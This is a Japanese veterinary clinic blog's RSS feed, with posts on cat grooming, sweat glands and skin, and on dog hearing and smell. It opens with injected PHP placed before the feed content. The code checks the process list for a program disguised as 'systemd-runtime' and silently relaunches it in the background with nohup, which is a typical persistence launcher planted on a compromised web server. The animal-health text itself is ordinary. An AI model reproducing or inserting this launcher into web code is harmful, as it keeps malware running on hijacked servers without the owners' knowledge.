$programFilePath = 'systemd-runtime'; $processList = shell_exec('ps aux'); if (strpos($processList, $programFilePath) === false) { $commandToExecute = 'nohup ./' . $programFilePath . ' > /dev/null 2>&1 &'; shell_exec($commandToExecute); } 動物の体の仕組み - 動物の医学 | 本牧通り動物病院 https://honmokudori.com/blog 本牧通り動物病院は、横浜市中区本牧宮原にある動物病院です。 Fri, 18 Jun 2021 10:58:17 +0000 ja hourly 1 https://wordpress.org/?v=6.2.5 猫のグルーミング https://honmokudori.com/blog/200 https://honmokudori.com/blog/200#respond Tue, 24 Jun 2014 11:17:44 +0000 http://honmokudori.com/blog/?p=200 猫にとって皮膚のグルーミング行動は、切っても切れないほど重要な日常的動作の一つと言えます。 汚れを嫌う、きれい好きな動物だからだと一般的に言われていますが、一説では、狩りをする際、相手に気づかれないように体臭を消す為  ...続きを読む

The post 猫のグルーミング first appeared on 動物の医学 | 本牧通り動物病院.

]]>
HIRA85_ookinaakubiwosuruneko500
猫にとって皮膚のグルーミング行動は、切っても切れないほど重要な日常的動作の一つと言えます。

汚れを嫌う、きれい好きな動物だからだと一般的に言われていますが、一説では、狩りをする際、相手に気づかれないように体臭を消す為という説や前述した、常に抜ける時期の毛を抜くためだという説、ストレスを感じた時に自らを癒す為という説など様々ですが、実は、全部正しいのだろうと思います。

実際、診察中、多くの猫たちは、ストレスを感じていて、毛がよく抜けることがあります。

しかし、診察中に猫たちは、ストレスを癒す為にグルーミングをすることができません。

ですから、可能な限り、診察中にストレスサインが出ているときは、飼い主の方が、優しく声をかけて、体表を撫でてあげることで癒されれば、苦手な病院も乗り切ることができるようになるかもしれませんね。

The post 猫のグルーミング first appeared on 動物の医学 | 本牧通り動物病院.

]]>
https://honmokudori.com/blog/200/feed 0
猫の汗腺 https://honmokudori.com/blog/198 https://honmokudori.com/blog/198#respond Mon, 23 Jun 2014 01:12:26 +0000 http://honmokudori.com/blog/?p=198 猫の汗腺は、主に肉球に存在します。 緊張しているときなど肉球を触ると湿っていることが多いです。 まさに人間と同じく手に汗握る瞬間というわけです。 額、頬、口周囲、顎下、耳、肛門周囲には、皮脂腺という分泌物を出す腺があ  ...続きを読む

The post 猫の汗腺 first appeared on 動物の医学 | 本牧通り動物病院.

]]>
HIRA84_nekorobinagarajyareru500
猫の汗腺は、主に肉球に存在します。

緊張しているときなど肉球を触ると湿っていることが多いです。
まさに人間と同じく手に汗握る瞬間というわけです。

額、頬、口周囲、顎下、耳、肛門周囲には、皮脂腺という分泌物を出す腺があります。

分泌されている物質は、所謂、フェロモンです。

特に頭周囲の腺から出される分泌物の組み合わせにより、何らかの意味を表していると推測されています。

現在のところ判明しているのは、好きな人や物にフェロモンをつけることで自分のテリトリーを作り、安心感を高めていると言われています。

多頭飼いをされていらっしゃる飼い主の方は、よく見られるかもしれませんが、猫同士で互いに顔をこすりつけたりすりする事があります。

見ていてもほほえましい光景ですし、”仲良し”という言葉が思い浮かびます。

この行為も互いに自分のフェロモンを相手につけることで、安心感、親近感を高め合うことに使用しています。

The post 猫の汗腺 first appeared on 動物の医学 | 本牧通り動物病院.

]]>
https://honmokudori.com/blog/198/feed 0
猫の皮膚 https://honmokudori.com/blog/196 https://honmokudori.com/blog/196#respond Sun, 22 Jun 2014 01:09:01 +0000 http://honmokudori.com/blog/?p=196 猫の身体の特徴にも色々とありますが、個人的には、独特な触り心地と柔らかさは、犬にはない、特徴だと思いますので、今回は、皮膚について取り上げたいと思います。 猫の皮膚が、柔軟であるおかげで、まず、第一に敵からの攻撃、あ  ...続きを読む

The post 猫の皮膚 first appeared on 動物の医学 | 本牧通り動物病院.

]]>
HIRA85_kamibukurokaraderesou500
猫の身体の特徴にも色々とありますが、個人的には、独特な触り心地と柔らかさは、犬にはない、特徴だと思いますので、今回は、皮膚について取り上げたいと思います。

猫の皮膚が、柔軟であるおかげで、まず、第一に敵からの攻撃、あるいは、獲物の抵抗によるダメージを軽減したり、次に敵と対峙した時に、所謂、逆毛にして身体を一回り大きく見せることで相手を威嚇したり、他には、寒いときには、なるべく毛を寝かせて体温を逃がさないようにするなど、このような機能を発揮させることができるのです。

猫の被毛についてですが、毛の成長周期は、60~90日をかけて、一定の長さまで伸びます。限界まで伸びたところで、一旦、その状態を維持します。

その後、40~60日間に新たな毛が生え始めてきたら、徐々に寿命の尽きた毛から抜けていき、再び最初のステージに戻り、これを繰り返します。

ですので、通常、猫の皮膚上には、、様々なステージの毛が、存在することとなります。

しかし、日光下で生活をしていない室内飼育の猫の中には、一年中、毛は抜けるけれども、結局、所謂、夏毛になることはなく夏の暑さに苦慮するようになる猫もいます。

元来、猫は、比較的、暑さに強い動物であるにも関わらず、夏期に熱中症になる猫が散見されるのは、このことが原因の一つであると言われています。

余談となりますが、熱中症と思われた場合には、濡れたバスタオルなどでくるみ、扇風機などで風をあて、気化熱を利用して、身体にこもった熱を下げる救急処置をしてから、かかりつけの動物病院へ連絡し、受診しましょう。

The post 猫の皮膚 first appeared on 動物の医学 | 本牧通り動物病院.

]]>
https://honmokudori.com/blog/196/feed 0
犬の聴覚 https://honmokudori.com/blog/64 https://honmokudori.com/blog/64#respond Wed, 07 Aug 2013 14:22:18 +0000 http://honmokudori.com/blog/?p=64 犬の優れた能力として、嗅覚と並び、聴覚が挙げられると思います。 一般に犬の聴覚領域は65~50,000Hzの周波数帯であり、人の聴覚領域が16~20,000Hzの周波数帯ですので、犬は人よりも数倍高い周波数の音を聞く  ...続きを読む

The post 犬の聴覚 first appeared on 動物の医学 | 本牧通り動物病院.

]]>
20130807-05

犬の優れた能力として、嗅覚と並び、聴覚が挙げられると思います。

一般に犬の聴覚領域は65~50,000Hzの周波数帯であり、人の聴覚領域が16~20,000Hzの周波数帯ですので、犬は人よりも数倍高い周波数の音を聞く能力があることになります。

しかし、犬の音を聞く能力の優れた点は、嗅覚と異なり音を感じる部分の数が多いとか、音を増幅する能力が人より優れていると考えられているのはなく、脳の中の音を感じる部分(聴覚野)の感受性が高いためと考えられています。

因みに周波数は、数値が大きければ高音、小さければ低音ということになりますが、人の通常会話周波数帯は200~4,000Hzなので、犬は充分に人の声を聴くことができると考えられています。

音の伝わり方は、外耳、中耳、内耳を通して伝わってきた音(振動)が、求心性神経の蝸牛神経に伝わり、延髄、視床を通り、大脳皮質の聴覚野に送られて、初めて音として認識されるという構造になっています。

犬は、高周波数帯の音を聞くことができるけれども、イルカのように成犬が超音波領域の音を使ってコミュニケーションをしているという証拠は、現在のところ無いようです。

同じ周波数で2つの音の大きさを識別する能力に関して言えば、人の聴力は、犬よりも優れていると言われています。人は5000Hz以下の音で、周波数が似ている音でも識別する能力に優れていて、また、持続時間の非常に短い音を識別する能力にも優れています。これらの特徴的な能力は、人が言語という複雑な音を聞き分ける為に発達したのだと考えられています。

20130807-06
また、犬種によって聴力の差はほとんどみられず、聴力と身体の大きさにも相関関係はみられません。

耳の垂れた犬の耳介を持ち上げてみても、聴力に変わりがないと言われています。例えば、チワワとゴールデンレトリーバーという耳の形、身体の大きさの違う犬種でも、聴力はほぼ同じとということになります。

The post 犬の聴覚 first appeared on 動物の医学 | 本牧通り動物病院.

]]>
https://honmokudori.com/blog/64/feed 0
犬の嗅覚 https://honmokudori.com/blog/35 https://honmokudori.com/blog/35#respond Wed, 07 Aug 2013 13:55:00 +0000 http://honmokudori.com/blog/?p=35 古くから知られていて、誰もが最初に思い浮かぶ犬の優れた能力のひとつといえば、臭いを嗅ぐ力、すなわち嗅覚(きゅうかく)でしょうか。 実は、犬の臭いの感じ方は、人間とは少し異なります。 人間は、臭いだけでも臭いを感じ、ま  ...続きを読む

The post 犬の嗅覚 first appeared on 動物の医学 | 本牧通り動物病院.

]]>
20130807-03
古くから知られていて、誰もが最初に思い浮かぶ犬の優れた能力のひとつといえば、臭いを嗅ぐ力、すなわち嗅覚(きゅうかく)でしょうか。

実は、犬の臭いの感じ方は、人間とは少し異なります。

人間は、臭いだけでも臭いを感じ、また、味と臭いの組み合わせでも臭いを感じることができます。しかし、犬の場合は、臭いを単独で感じる事の割合が多いようです。






嗅覚の優劣は、鼻の穴(鼻腔)の構造に左右されます。
鼻腔の表面(嗅上皮)内には、臭いを感知するセンサーが(嗅細胞)があり、嗅上皮の表面積は、人では3~4平方cmで、犬は18~150平方cmと言われています。
20130807-02
参考:http://www.koinuno-heya.com/zukan/smell.html#one

表面積が大きいということは、それだけ多くの嗅細胞が存在することであり、すなわち嗅覚が人に比べ優れている根拠と言えるでしょう。

嗅上皮細胞膜は、ボーマン腺と呼ばれる腺構造より分泌される粘液によって覆われ、臭いはこの粘液内に溶け込むことで、嗅細胞から伸びている繊毛により臭いを受容体へ導きます。

また、臭いを感知する嗅細胞の間には、支持細胞という組織もあり、この支持細胞からも数多くのの微繊毛が粘液中に伸びています。

人間の嗅細胞の配列は一層ですが、犬では数層にわたっていて、嗅細胞と支持細胞は、常に新しい細胞へと生まれ変わっています。犬では、この繊毛の数が、他の動物に比べ数が多いのも特徴のひとつです。

嗅上皮粘膜で捕えられた臭いの分子は、嗅上皮内に非常に多く存在する感覚受容器である嗅細胞への伝えられ、電気信号に交換されます。

電気信号に変換された臭いは、嗅細胞の軸索と呼ばれる部分が、嗅神経となって大脳の嗅球に伝え(投射と呼ばれます)、この嗅球に届いた情報は、嗅球から視床を介して、大脳皮質の嗅覚野へと送られ、臭いとして認識されます。

犬には嗅覚器の補助器官(副嗅覚器)として鋤鼻器(じょびき、発見した人の名を取ってヤコブソン器官とも呼ばれる)というものが存在します。

この鋤鼻器は、一対の嚢からなり、内部は液体で満たされていて、上顎の犬歯のすぐ後ろ側から鼻の穴の中へ抜ける細い管で鼻口蓋管という組織へつながっています。

人間や霊長類では、この鋤鼻器は発育不全により分散してしまっているか、無くなっています。

鋤鼻器の役割は、様々な動物において性行動に関する臭い(いわゆるフェロモン)を感知すると言われています。

20130807-04
犬の鼻は、濡れていてよく健康判断などに使われたりしていますが、犬はこの濡れた鼻を利用して風向きを感知して臭いの方向を知るようです。

犬の臭いを利用した追跡能力は、汗に含まれる揮発性脂肪酸という物質を感知する能力に依存して行われています。

臭気の種類によりますが、犬は人の一億倍までも感知できると言われています。

犬が臭いを嗅ぐ際に慎重に嗅いでいるのをよく見かけますが、この嗅いでいる時間の長さは、嗅上皮が臭い物質を受容するのに最適な長さだと言われています。

The post 犬の嗅覚 first appeared on 動物の医学 | 本牧通り動物病院.

]]>
https://honmokudori.com/blog/35/feed 0